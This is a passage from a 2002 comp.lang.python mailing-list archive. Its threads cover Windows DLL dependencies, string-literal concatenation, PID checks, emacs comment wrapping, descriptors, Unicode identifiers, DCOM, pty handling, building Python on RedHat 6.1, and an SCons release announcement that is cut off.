python22.dll was built on a Win98SE box. This is no > > apphelp.dll on the box, and Dependency Walker shows no such dependence. > > python22.dll depends on shlwapi.dll. The newest version of this dll > introduces a dependency to apphelp.dll. So it seems to be a microsoft > problem and I will try it in their newsgroups. > I have Windows 2000. Dependency Walker shows (like Achim's case under Windows XP) that the Pythonlabs python22.dll depends on shell32.dll, which depends on shlwapi.dll, which depends on apphelp.dll, which is missing [* OT footnote]. However I have had no problems with importing my own extensions -- which are compiled with mingw gcc and with Borland C/C++ 5.5, not with MS VC (which shouldn't make a difference). Achim, What is the error message you get when you try to import your own extension? Have you tried copying your pyd to a box running an earlier version of Windows and importing it there? What makes you think it is the fault of the missing apphelp.dll? HTH, John [*] ... which reminded me of the novel "Ivanhoe", in which IIRC the jester introduces himself as "Wamba, the son of Witless, the son of Weatherbrain, the son of an alderman." From peter at engcorp.com Thu May 9 01:17:19 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 09 May 2002 01:17:19 -0400 Subject: NEVER MIND! References: Message-ID: <3CDA065F.E172C450@engcorp.com> "Delaney, Timothy" wrote: > > My apologies - since my mail client (Outlook - mandated by the company) does > usually manage to thread correctly even when the subjects have changed > (grouping by "Conversation", I presumed it was using References: to do so > (although I've noticed a lot more split threads recently with the same > subjects). I should have known Outlook would not be so intelligent though. > > * Tim hangs his head in shame It's no shame to be let down by Microsoft software. If it were, most of us here would be embarrassed to go out in public. Shoulders back, head up, and resolve to discourage company reliance on Microsoft products at every opportunity! -Peter ;-) From bokr at oz.net Thu May 16 18:15:26 2002 From: bokr at oz.net (Bengt Richter) Date: 16 May 2002 22:15:26 GMT Subject: embed data inside string References: <3CE3337F.7CA0D11B@sbcglobal.net> <3CE3C0DC.571F2415@jpl.nasa.gov> Message-ID: On Thu, 16 May 2002 07:23:24 -0700, Julia Bell wrote: >Thanks for all of the responses. > >I recognize that the formatted strings are just as simple as the example line I gave >using the concatenation. (I just used the simple example to demonstrate the point). >My actual application is more complex (lots of escaped characters, combination of >single and double quotes, etc. - just a messy string to be creating - so I was hoping >to at least eliminate the parts of the definition that involved leaving the quoted >portion to evaluate the parameter). > >But, from the responses it looks like the concatenation I'm using is probably the >easiest way to go. > There are some things about strings (rhymes ;-) that can be handy. You know about triple quotes and the r prefix that makes a r'raw string' I assume. But you can also compose string constants variously by making use of the fact that two strings only separated by white space get concatenated by the compiler, and putting () around an expression allows you to spread it over several lines ignoring indentation inside the (), e.g., >>> s = ( ... "\n" ... '\n' ... """""" ... r'' ... '\n\n' ... + str(1234) + ... "<= that was dynamically generated\n" ... ) The above actually compiled to s = firstpart + str(1234) + lastpart, making it more efficient that putting plusses between everything. Proof: >>> dis.dis(compile(r'''\ ... s = ( ... "\n" ... '\n' ... """""" ... r'' ... '\n\n' ... + str(1234) + ... "<= that was dynamically generated\n" ... )''','','exec')) 0 SET_LINENO 0 3 SET_LINENO 2 [1]-->> 6 LOAD_CONST 0 ('\n\n\n\n') 9 LOAD_NAME 0 (str) 12 LOAD_CONST 1 (1234) 15 CALL_FUNCTION 1 18 BINARY_ADD [2]-->> 19 LOAD_CONST 2 ('<= that was dynamically generated\n') 22 BINARY_ADD 23 STORE_NAME 1 (s) 26 LOAD_CONST 3 (None) 29 RETURN_VALUE [1] is the firstpart single string constant, and [2] is the second. str(1234) comes between. The whole string is >>> s '\n\n\n\n1234<= that was dynamically generated\n' print uses the escape-generated characters instead of showing them as escaped: >>> print s 1234<= that was dynamically generated Of course you can use triple quoted raw strings to quote tricky stuff, e.g., >>> r'''"\n'\x07'"''' '"\\n\'\\x07\'"' >>> print r'''"\n'\x07'"''' "\n'\x07'" >>> eval( r'''"\n'\x07'"''' ) "\n'\x07'" >>> eval(eval( r'''"\n'\x07'"''' )) '\x07' >>> print eval(eval( r'''"\n'\x07'"''' )) (it beeped ;-) Alternatively, you can give simple names to the nasty stuff: >>> q3s="'''" >>> beep_rep = r'\x07' Then use them: >>> print "q3s=[%(q3s)s] beep_code = %(beep_rep)s" % vars() q3s=['''] beep_code = \x07 Or you can use the pieces-of-string-in-() trick to spell it out, with comments even: >>> print ( ... "q3s=[" ... "%(q3s)s" #this will grab the q3s value ... "] beep_code = " #just another piece of the string ... "%(beep_rep)s" # this interpolates the last variable ... % vars() # and this should do it after another ')' ... ) q3s=['''] beep_code = \x07 You can also put your trick strings in a dictionary to use with % instead of cluttering local namespace: >>> d={'q3s':"'''", 'beep_rep':r'\x07'} >>> print "q3s=[%(q3s)s] beep_code = %(beep_rep)s" % d q3s=['''] beep_code = \x07 Thought this might give you some additional ideas for coding your string stuff. Regards, Bengt Richter From niemeyer at conectiva.com Fri May 10 12:36:13 2002 From: niemeyer at conectiva.com (Gustavo Niemeyer) Date: Fri, 10 May 2002 13:36:13 -0300 Subject: How do I check if a pid is running? In-Reply-To: References: Message-ID: <20020510133613.A3677@ibook.distro.conectiva> > >>> def pid_exists(pid): > ... try: > ... os.kill(pid, 0) > ... return 1 > ... except OSError, err: > ... return err.errno == errno.EPERM [...] > There may be better ways than this... I wouldn't classify it as better, but the proc filesystem usually has directories named with pid numbers. This should work if you have such proc filesystem (remember, not portable at all): def pid_exists(pid): return os.path.isdir("/proc/"+str(pid)) -- Gustavo Niemeyer [ 2AAC 7928 0FBF 0299 5EB5 60E2 2253 B29A 6664 3A0C ] From peter at engcorp.com Thu May 30 19:09:35 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 19:09:35 -0400 Subject: What does Python offer? References: Message-ID: <3CF6B12F.CFD4823C@engcorp.com> Aahz wrote: > > In article , > news wrote: > > > >The following has a number of links to articles describing what is special > >about Python: http://www.python.org/doc/Intros.html > > > >My favorite among these is Eric Raymond's "Why Python?" You should > >definitely read it. > > Unfortunately, www.linuxjournal.com wasn't responding yesterday, and > it's not responding today. Didn't Linux Journal email us and report that it was unfortunately unable to sustain a viable business in today's business climate? (I sincerely hope I got the right one here and am not starting a vicious rumour because of my bad memory... _some_ Linux mag emailed me to report that!) -Peter From stephen at xemacs.org Sat May 11 09:46:14 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 11 May 2002 22:46:14 +0900 Subject: Multibyte Character Surport for Python References: Message-ID: <87offmer15.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "John" == John Roth writes: >> > 4. All syntax words are preceeded by a special character, >> > which is not presented to the viewer by Python 3.0 aware >> > tools. Or any Unicode-aware tools, for that matter, because you'll use ZERO-WIDTH SPACE.<0.9 wink> -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From dsavitsk at yahoo.com Sat May 4 20:48:45 2002 From: dsavitsk at yahoo.com (dsavitsk) Date: Sat, 4 May 2002 19:48:45 -0500 Subject: Very strange behaviour on Windows References: <3CD4491E.CEC76CE@iki.fi> <3CD45340.7C50F9D3@iki.fi> Message-ID: As I recall, the Win98 debug cycle begins with uninstall and continues on to reinstall. -d "Joonas Paalasmaa" wrote in message news:3CD45340.7C50F9D3 at iki.fi... > Chris Gonnerman wrote: > > > > ----- Original Message ----- > > From: "Joonas Paalasmaa" > > > > > When I invoke the interactive interpreter on Windows, > > > Python claims that every line I type is syntactically > > > invalid. However, when the interpreter is used to > > > start scripts, everything seems to be working quite > > > fine. The problem is propably in Windows's command- > > > line, but what the problem could be? > > > > [[ example ellided ]] > > > > What version of Windows? Has it ever worked before? > > Windows 98. It worked earlier, but then something weird propably > happened and now it isn't working anymore. Could there be a way to debug > the problem deeper and find its cause. From huaiyu at gauss.almadan.ibm.com Thu May 9 15:06:46 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Thu, 9 May 2002 19:06:46 +0000 (UTC) Subject: Comments References: Message-ID: Fernando P?rez wrote: >Karl Pfl?sterer wrote: > >>> ... Is there a way to make emacs ignore lines that wouldn't be >>> considered comments by the language when wrapping? >> >> I changed the value of `paragraph-start'. I did it like this: >> >> (add-hook 'python-mode-hook >> (lambda () >> (setq paragraph-start "[ \t\n\f#]"))) >> >> "[ \t\n\f]" is the default for this variable. >> >> bye >> KP >> > >THANK YOU!!!!!! > >I'd been hating life on this little thing for a long time (well, never >intensely enough to really bother looking for a solution ;). > >I've used emacs for years, but I've just never bothered to learn enough on how >to configure it to solve the few little quirks it still has for my taste. > >But this one was a fairly nagging one for me, so I _greatly_ appreciate your >solution (I'm glad I stumled on this thread!) Does this really work for you? After I added this, M-q no longer considers multiline comments as a single paragraph. It also wraps long comment lines without adding new # signs. Maybe I have some other settings in .emacs that are interfering with this? Huaiyu From huaiyu at gauss.almadan.ibm.com Fri May 10 22:12:36 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Sat, 11 May 2002 02:12:36 +0000 (UTC) Subject: Comments References: Message-ID: Fernando P?rez wrote: >Yes, it works perfectly. Now I can have: > >def f(): > """ bla.... long (multiline)""" > # bla comments, long... > >and hit M-q in the commment and the docstring, and they both get independently >lined up _without_ the surrounding code or eachother getting broken. >Absolutely perfect! Strange. After typing (the comment is in one line but my mail client is configured to restrict to 80 char) def f(): """ bla.... long (multiline)""" # bla comments, long... adsf as as dsa sad fsad fdsa fads fdsa fdsa \ dsa dsa dsa fdsa dafadf ads ads fdsa and do M-q on the # line, I now get def f(): """ bla.... long (multiline)""" # bla comments, long... adsf as as dsa sad fsad fdsa fads fdsa fdsa dsa dsa dsa fdsa dafadf ads ads fdsa What kind of settings in .emacs would cause this? Huaiyu From juenglin at informatik.uni-freiburg.de Sun May 5 09:59:40 2002 From: juenglin at informatik.uni-freiburg.de (Ralf Juengling) Date: 05 May 2002 15:59:40 +0200 Subject: Is there a way to 'mask out' inherited methods? References: Message-ID: "Steve Holden" writes: > > > What happens -- in terms of descriptors -- when the > > following expressions are evaluated? (Imagine the del > > statement in B.__init__ is absent and): > > > > b = B() > > > > 1. b.mA() > > The mA() method inherited from A is called as described above, with b as its > first argument. > > > 2. b.mB() > > The B.mB() method is called, with b as its first argument. > > > > > 3. b.mA = 'eat that' > > New-style: nono. Classic: binds an instance-local "mA" attribute to the > string. This attribute masks the mA inherited from the class's superclass, > since the search willl now be satisfied by the instance's local namespace. > > > 4. b.mB = 'or that' > > Same as for 3, except that the name that is masked is defined in the > instance's class definition. > > > > > 5. del b.mA > > 6. del b.mB > > > Do you mean after 1-4, or independently of them? Seriously, I would hope you > could work that out for yourself by now. If not, please feel free to post > again. To state my question more precisely: I anticipate any of the following expressions to be translated into one or the other call to the 'descriptor API' by the Python interpreter. I just want to understand into exactly which calls (treating the expressions independently). 1. b.mA() 2. b.mB() 3. b.mA = 'eat that' 4. b.mB = 'or that' 5. del b.mA 6. del b.mB Thanks, Ralf From aleax at aleax.it Fri May 3 04:51:11 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 08:51:11 GMT Subject: Passing on variable arguments References: Message-ID: <3csA8.41706$8D3.1225940@news1.tin.it> Ralf Juengling wrote: > how do I pass on a variable number of arguments. For instance: In Python 2.0 and later, you use the * form in the call just as in the def statement (in 1.5.2 you had to use builtin function 'apply'). > def m(self, *args): > # do sth with *args > > # pass them on to superclass method > B.m(self, ????) B.m(self, *args) assuming you want to pass ALL of args to B, of course. Alex From philh at comuno.freeserve.co.uk Tue May 28 15:31:16 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Tue, 28 May 2002 20:31:16 +0100 Subject: Thought on PEP 204 and 276 References: Message-ID: On Tue, 28 May 2002 16:00:12 +0200, holger krekel wrote: > >that was precisely my argument on the python-dev list but >it got rejected by GvR personally ... "Trust me. Don't go there." > >I realize that mapping types and sequence types are quite different >despite appearances. It may not be a good idea to blur the lines >between these two too much. I think they are essentially the same. A sequence tpye is just a mapping type where the keys are restricted to the integers from 0 to however many elements there are minus 1. >> Also, why wasn't an items() method simply added to sequence types, >> treating them as mapping types with an integer key? > >that would be ambivalent. calling items on a list could also mean >that you are refering to the elements (no notion of enumeration). but then you would just say for element in list: -- <"><"><"> Philip Hunt <"><"><"> <"><"><"> My website has moved -- new address is: <"><"><"> <"><"><"> <"><"><"> From mcfletch at rogers.com Fri May 31 13:47:51 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Fri, 31 May 2002 13:47:51 -0400 Subject: wxPython, py2exe References: <3CF7819F.5AF9E42D@ipm.fhg.de> <3CF7AD56.6ACB2F69@noaa.gov> Message-ID: <3CF7B747.3010603@rogers.com> OpenGL works with wxPython w/out any significant problems I can recall. It even has an OpenGLContext context available :) . Viewing images with wxPython: Quite doable, but we could use a generic image view/edit control. You can roll your own in a few days (~2 weeks if you want something robust and sleek feeling). Basic formats are available from wxPython directly. Exotic ones are loadable with PIL. Expect to have ~ double memory overhead on load with the PIL approach, as it has both the raw binary string and the loaded image in memory at the same time. Drawing with wxPython: I think there's a project called pysketch (or something like that) working on a vector-graphics drawing control, haven't tried generic graphic drawing in wxPython yet (I just use Corel when I need to draw something). There is the OGL library, but it is more suited for charts than drawing and certainly doesn't have a drop-in control for drawing work. Again, creating your own is quite a doable project (~1 month for a drawing control with a standard data format and basic operations), all the primitives are there. HTH, Mike Chris Barker wrote: > Markus von Ehr wrote: ... >>I need graphical support (viewing images, drawing, openGL, etc.), >>does it work well with wxPython? > > > Havn't used openGL, but otherwisw, yes. > > -good luck, > > -Chris From martin at v.loewis.de Thu May 9 06:32:58 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 12:32:58 +0200 Subject: Multibyte Character Surport for Python References: <87g011q3fl.fsf@tleepslib.sk.tsukuba.ac.jp> <87y9etmya6.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > What Unicode objects? They find ordinary strings that are mandated to > be encoded in UTF-8. That could be done, but I would discourage it. The Unicode type in Python is the type to represent Unicode, and there is only one way to do it. > We do the migration to Unicode objects later, at the same time that > you would have done it anyway. In the meantime, this fits right in > with the kind of "backwards compatibility" that PEP 263 is all about. You can't use UTF-8 to represent non-ASCII identifiers, and Unicode objects later. Old byte code would not interoperate with new byte code. Regards, Martin From jeff at ccvcorp.com Wed May 29 19:29:09 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Wed, 29 May 2002 16:29:09 -0700 Subject: Crashing IDLE References: Message-ID: In article , Rhymes says... > > I've noticed that IDLE crash itself with this infinite loop statement: > > >>> while 1: > ... pass > ... > > it's a known bug or not? Well, you're locking the process up in an infinite loop, which prevents it from servicing its message queue, which will eventually overflow... -- Jeff Shannon Technician/Programmer Credit International From fperez528 at yahoo.com Sun May 5 15:51:42 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 05 May 2002 13:51:42 -0600 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: Jim Richardson wrote: > sorry, I wasn't very clear, in the above example, the result I am > looking for is > >>>>a=(1,2) >>>>b=(2,3) >>>>a+b > (3,5) > > > if that makes sense, I don't want to append, I want to add. > Use Numeric for that (unless you want to write your own code, of course). Its arrays work in this way, which is different to that of python's normal sequence types. cheers, f. From pinard at iro.umontreal.ca Wed May 8 22:03:01 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 08 May 2002 22:03:01 -0400 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: [Mark Jackson] > [...] if you feel so strongly about this that you are prepared to write > code that would, in fact, be unusable outside your own locale: whyever > do you think the larger community should undertake the task of enabling > you to do this? The larger community is indeed made up of many communities, which all have an advantage at seeing themselves served for what they locally are. This how the internationalisation effort builds up. A software designer might need a great deal of effort for separately supporting one version per national characterisation, but when the effort is made common and reusable for many nations, it becomes more efficient and more worthy. It is unlikely that the development mainstream for Python supports English and Vietnamese only, say. As things stand, it is more likely that Python supports, all at once, those languages reached by Unicode, or encodable in and out of Unicode. So, the development effort is rewarded by serving a much wider user base. About being "unusable outside your own locale", that is precisely the point. Many, many people live their lives within their locale, and have no interest nor reason for producing software to be used outside it. When you program for the planet, English is likely to be your best choice. When you program for yourself, or in closed chops, English does not have to impose itself. Python aims the whole planet, but it is not meant only for those who also aim the whole planet. I understood early that Python is for everybody. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From moray.grieve at ntlworld.com Thu May 9 17:34:47 2002 From: moray.grieve at ntlworld.com (moray.grieve) Date: Thu, 9 May 2002 22:34:47 +0100 Subject: Python ORB Message-ID: <002501c1f7a1$802ccea0$6995fd3e@rosetta> Does anyone know of a python ORB that supports wstrings, and is compatible with Python 2.2? From what I have seen and tried, both omniORBpy and Fnorb do not support wstring declarations in the IDL. With many thanks for any help, Moray Grieve -------------- next part -------------- An HTML attachment was scrubbed... URL: From paul at boddie.net Wed May 8 06:23:03 2002 From: paul at boddie.net (Paul Boddie) Date: 8 May 2002 03:23:03 -0700 Subject: taglibs equivalent in Python References: Message-ID: <23891c90.0205080223.122a6bb1@posting.google.com> "Ragu Bharadwaj" wrote in message news:... > Thanks for clarifying. My question then is: > > Is it possible to implement custom tags within Zope? (to implement > taglibs like functionality) Yes, go to http://www.zope.org and search for "custom tags" or "DTML custom tags" - that should at least uncover some packages which are doing what you want to do. Paul From usenet at REMOVETHISPHRASEblacklettersoftware.com Wed May 1 16:13:16 2002 From: usenet at REMOVETHISPHRASEblacklettersoftware.com (Richard Biffl) Date: Wed, 1 May 2002 16:13:16 -0400 Subject: mod_python and form data References: Message-ID: Request.form is documented, tersely, under the Publisher handler instead of under the Request object: http://www.modpython.org/live/mod_python-2.7.8/doc-html/node74.html Richard "Jim Henry" wrote in message news:aap98i$h15$1 at web1.cup.hp.com... > I'm trying to access form data when using the Publisher handler. I know > that fields can be passed in as parameters, but I do not always know which > fields will be present. The documentation states: > > one must not attept to instantiate FieldStorage when using the Publisher > handler and should use Request.form instead. > > But the documentation on Request DOES NOT MENTION any .form - what's a guy > to do??? From dsavitsk at e-coli.net Tue May 14 23:52:38 2002 From: dsavitsk at e-coli.net (dsavitsk) Date: Wed, 15 May 2002 03:52:38 GMT Subject: Simple DCOM example? References: <3ce1e2c7$0$26393$724ebb72@reader2.ash.ops.us.uu.net> Message-ID: if the COM server is a Python COM server, add the line _reg_clsctx_ = pythoncom.CLSCTX_LOCAL_SERVER under your _reg_clsid_ and all should work well. also, you can skip the userName parameter. -d "Tim Hamza" wrote in message news:3ce1e2c7$0$26393$724ebb72 at reader2.ash.ops.us.uu.net... > Hey all, > > I have been playing around with the win32com stuff. I have the same COM > object on two Win2k boxes that I can use on each box as in the demo. Is > there an easy way to access COM objects between machines? I grasped at > variations of the win32com.client.DispatchEx straw because it lists machine > as a parameter. > > Ex > w = win32com.client.DispatchEx("someObject.Application", machine="otherPC", > userName="goodUserOnBothPCs") > > This returns the right kind of object, but calling its methods does not > affect the app on other PC. > > Have read win32com docs and googled. Easy answer or no? > > Thanks, > > Tim > > From bkc at Murkworks.com Sat May 18 12:41:47 2002 From: bkc at Murkworks.com (Brad Clements) Date: Sat, 18 May 2002 12:41:47 -0400 Subject: pop3filter 0.1 References: <3ce5460b.17677734@news.t-online.de> Message-ID: <3ce68333_6@goliath.newsgroups.com> FYI Maybe next time you could use Pegasus Mail or Mercury/32 to filter you mail, without all the effort. (no slight intended, just info) http://www.pmail.com -- -----------== Posted via Newsgroups.Com - Uncensored Usenet News ==---------- http://www.newsgroups.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =----- From alwyn at alwyn.demon.co.uk Wed May 8 15:04:41 2002 From: alwyn at alwyn.demon.co.uk (Alwyn) Date: 8 May 2002 19:04:41 GMT Subject: Result of I need your experience - classification and comparison of languages References: Message-ID: <20020508200439966+0100@pc-62-30-160-65-hw.blueyonder.co.uk> In Yvan Radenac wrote: > Alwyn wrote in message news: 23215607052002 at news-text.blueyonder.co.uk>... >> In article , >> yvan.radenac at equant.com (Yvan Radenac) wrote: >> >> > Hi, >> > This is the results of the questions i asked few months ago as the >> > post >> > "I need your experience - classification and comparison" >> > The subject of the report is "oriented object languages and their >> > free implementation". First, thank you for your answers. You can >> > find, in french, the report at http://www.cnamoo.net/uv/b5/ftp/mini/ >> > radenac.pdf >> >> Many errors and lacunae in the section 'Historique', I'm afraid. For >> instance, you say that Ada was invented by the American DoD. It comes >> in fact from a team under the direction of Jean Ichbiah, working for >> the French firm, CII Honeywell-Bull. And I thought Ruby was devised >> by a certain Yukihiro Matsumoto. :-) Alwyn > > > Hi, > For the "Historique", > i used a paper on the NET which said that it was Andy Hunt. As i > respect the copyright, i let it as it. But i will add Yukihiro > Matsumoto as you can read page 37. M. Sureau has no entry for Ruby in his 'Histoire'. He has only this to say: 'Il existe cependant une tendance ? la modernisation avec des langages de script comme Python , Ruby. NetRexx. Seul Python avec plusieurs centaines de milliers d'utilisateurs, ? [sic] une diffusion notable.' http://www.scriptol.org/fr/index.php Overall, I do not find this a reliable source of information on the history of programming languages, and it is remarkable that this French source pays so little attention to developments at INRIA () and by the Frenchman, Bertrand Meyer (). I think you need to do some more research of your own in this area rather than rely on a sigle source. Alwyn From 2002 at weholt.org Wed May 29 07:08:24 2002 From: 2002 at weholt.org (Thomas Weholt) Date: Wed, 29 May 2002 11:08:24 GMT Subject: inbetween cPickle and MySQL References: Message-ID: Look at shelve in the standard distro. docs. Thomas wrote in message news:mailman.1022665786.12266.python-list at python.org... > I need a simple way to store lots of simple objects (compsed of > strings only). Right now I'm using cPickle, which means I have to read > in the intire file to find all object.attribute == X. > > Since the file will get pretty this will consume a lot of memory. One > option is to put the objects in a SQL DB (Don't mention ZODB, I don't > like it.) but that is so much trouble. Speed is not an issue. > > From my perl days I remeber some sort of "hash on a file"-thingy, that > struck a middle ground between pickle and a full blow database. Is > there anything like that in Python? > > > > -- > Alex Polite > > From rnd at onego.ru Sat May 4 13:27:59 2002 From: rnd at onego.ru (Roman Suzi) Date: Sat, 4 May 2002 21:27:59 +0400 (MSD) Subject: module random: delay in "seeding" In-Reply-To: <_1LA8.2704$zW3.61205@news1.tin.it> Message-ID: On Sat, 4 May 2002, Alex Martelli wrote: >Roman Suzi wrote: > ... >> While it is quite understandable that normally distributed numbers >> come in pairs, but I thought seed() resets the state of random module... > >No, you need getstate and setstate methods for that. If all you want >is to also reset the gauss_next attribute, go ahead -- no leading >underscore, so it's public. Note that getstate returns the version (to >check if you ever try to restore state to an incompatible version), >seed, and gauss_next. They're also exposed as __getstate__ and >__setstate__ so you may ALSO pickle/unpickle random.Random >instances and also copy.copy them. > >> I think this sometimes can cause errors. > >If so, then the docs need to be made clearer; it seems to me that >the mechanisms are just fine. Yes, I oversaw the whole set/getstate thingie. Thanks for pointing this! (I was using Python 1.5.2...) Sincerely yours, Roman Suzi -- \_ Russia \_ Karelia \_ Petrozavodsk \_ rnd at onego.ru \_ \_ Saturday, May 04, 2002 \_ Powered by Linux RedHat 7.2 \_ \_ "Is there life before coffee?" \_ From larooy at xtar.co.nz Fri May 31 06:55:04 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Fri, 31 May 2002 22:55:04 +1200 Subject: Why no open(f, "w").write()? References: Message-ID: <20020531225504.248c92ce.larooy@xtar.co.nz> On 30 May 2002 18:43:16 GMT "Michael P. Soulier" wrote: > On Wed, 29 May 2002 21:02:21 +0000 (UTC), Huaiyu Zhu > wrote: > >>> > >>>>>> stuff = "stuff to write" > >>>>>> open('stufffile', "w").write(stuff) > >>>>>> open('stufffile', "r").read() > >>> 'stuff to write' > >>> > >> > >>yes, but can you disagree with the statement that it is bad programming > >>practice. I sure can't. > > > > For what reason is it bad? > > Well, as one of the credos of Python is that explicit is better than > implicit, why are we relying on the implicit nature of file objects to close > themselves? It's not nearly as easy to read. > Then again, list comprehensions seem somewhat cryptic for Python as well. > Do you explicitly del all your objects too, or wait for them to disappear when they go out of scope? John From martin at v.loewis.de Wed May 15 04:27:54 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 15 May 2002 10:27:54 +0200 Subject: Multibyte Character Surport for Python References: <7a8E8.41035$CN3.1405517@news2.tin.it> <87r8kddh2i.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > In fact, I suspect you're saying something stronger than "more often," > more like "the great majority." However, this is less true in code > written by Japanese; it is fairly often true that English vocabulary > plus Japanese syntax leads to something actively misleading. I agree > with you about hiding comments, but occasionally such identifiers are > disentangled by seeing a more extensive comment written in the same > non-English syntax. Out of curiosity: can you point to source code written in this style (not necessarily by your students)? Regards, Martin From warlock at eskimo.com Tue May 7 01:00:22 2002 From: warlock at eskimo.com (Jim Richardson) Date: Mon, 6 May 2002 22:00:22 -0700 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: <61n7ba.ui6.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 6 May 2002 20:19:32 GMT, William Park wrote: > Jim Richardson wrote: >>> class vector: >>> def __init__(self, x=[]): # vector([...]) >>> self.array = x[:] >>> self.n = len(x) >>> >>> def __repr__(self): >>> return `self.array` >>> >>> def __add__(self, other): > > out = [] <-- missed when I cut/paste... sorry. > >>> for a, b in map(None, self.array, other.array): >>> out.append(a + b) >>> return vector(out) >>> >>>>>> a = vector([1,2]) >>>>>> b = vector([2,3]) >>>>>> a+b >>> [3, 5] >>> >> >> >> Thanks. Actually, I am a little intimidated by the whole OO and class >> thing. I still don't "grok" the whole OO thing. >> >> I don't understand what the (self,...) part of the init is. I *think* I >> know what __init__ is for, to set up the things you need to use the >> functions (methods?) within the class, but what's with self all over the >> place? > > The function is called with parameter 'self' replaced by the object itself. > You can use any function parameter names, but 'self' is used by convention. > OK, I think... I'll have to cogitate on this. Thanks for the help. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8119md90bcYOAWPYRAlOAAJ98AcmzTzzgLajOzjjAbIa5KCXMRQCfaRPn s7e6Ne1P0u1UhbGD29nSEe8= =mKel -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From donn at u.washington.edu Thu May 16 11:31:16 2002 From: donn at u.washington.edu (Donn Cave) Date: 16 May 2002 15:31:16 GMT Subject: A pure Python solution that works like expect ???? References: Message-ID: Quoth Lance Ellinghaus : | | The PySSH library does not work when you must specify the password. | Must I break down and use Perl for this? The Perl modules work | correctly for this.. I just did not want to have to write it all in | Perl. | | This is running on Solaris 2.8. The key is whether you have access to the pty device, the pseudotty that looks like a real tty to the application. Check for posix.openpty and posix.forkpty. If it's there, then you can write your interface in Python, at least in theory. It's a far cry from Expect, but the interface rules are going to be pretty simple and Expect might be overkill anyway. The main hurdle will be the quirks of the pty device. You can look at pty.py in the library, but if it doesn't help, you don't need it. I'm not saying there isn't a Python Expect out there for you, maybe there is, just that it isn't absolutely necessary. Donn Cave, donn at u.washington.edu From matthew.russell at securetrading.com Thu May 23 06:12:52 2002 From: matthew.russell at securetrading.com (Matt Russell) Date: 23 May 2002 03:12:52 -0700 Subject: Compiling python2.2.1 on redHat 6.1 - doesn't work References: <23891c90.0205220343.4aa581c8@posting.google.com> Message-ID: has anyone else had this problem? I would be very suprised if no one else out there has not tried to compile Python2.2.1 on RedHat 6.1!! paul at boddie.net (Paul Boddie) wrote in message news:<23891c90.0205220343.4aa581c8 at posting.google.com>... > matthew.russell at securetrading.com (Matt Russell) wrote in message news:... > > Hi, I have been attempting to compile python 2.2.1 (compiled from > > source) > > > > > > Machine info: > > Red Hat Linux release 6.1 (Cartman) > > I have the same operating system running on my laptop - so I'll > probably try this at some point. > > [...] > > > ./Modules/posixmodule.c: In function `posix_nice': > > ./Modules/posixmodule.c:1270: warning: implicit declaration of > > function > > `getpriority' > > ./Modules/posixmodule.c:1270: `PRIO_PROCESS' undeclared (first use in > > this > > function) > > ./Modules/posixmodule.c:1270: (Each undeclared identifier is reported > > only > > once > > ./Modules/posixmodule.c:1270: for each function it appears in.) > > make: *** [Modules/posixmodule.o] Error > > > > > > Anyone got any ideas? please??! > > Yes, the posixmodule expects a declaration which obviously isn't > found. I would suspect that since 2.1 (which is the most recent > release I've built), either posixmodule has been enhanced and is no > longer compatible with RH6.1 "out of the box", or that your build > configuration isn't quite right. > > On RH7.x, the following files contain some kind of definition of > PRIO_PROCESS: > > /usr/include/bits/resource.h > /usr/include/linux/resource.h > > It would surprise me if the latter of these header files was > "standard" for building application programs or software like Python. > Perhaps you need to modify the build configuration to search the > former file when building posixmodule. > > Paul thanks.. will you let me know your results!? From knight at baldmt.com Fri May 3 13:07:24 2002 From: knight at baldmt.com (Steven Knight) Date: Fri, 3 May 2002 12:07:24 -0500 (CDT) Subject: ANNOUNCE: SCons 0.07 is now available Message-ID: Version 0.07 of SCons, a build tool based on the winning design in the Software Carpentry build competition and implemented in Python, has been released and is available for download from the SCons web site: http://www.scons.org/ Or through the download link at the SCons project page at SourceForge: http://sourceforge.net/projects/scons/ RPM and Debian packages and a Win32 installer are all available, in addition to the traditional .tar.gz and .zip files. WHAT'S NEW IN THIS RELEASE? IMPORTANT: This release contains the following interface changes: - The former -U option function is now -D. -U now functions like -u, except only targets defined in the local SConscript file are built. - The default F77 command line on Win32 now uses /Fo instead of -o. - The target Node is now passed to a Scanner function as its third argument. An optional fourth node takes an FS object. - Command generator functions now take a fourth "for_signature" argument. This release adds the following features: - The SConscript() function can now take "dirs" and "name" keyword arguments to avoid having to specify "SConscript" on every file. - Builder objects can now take arbitrary keyword 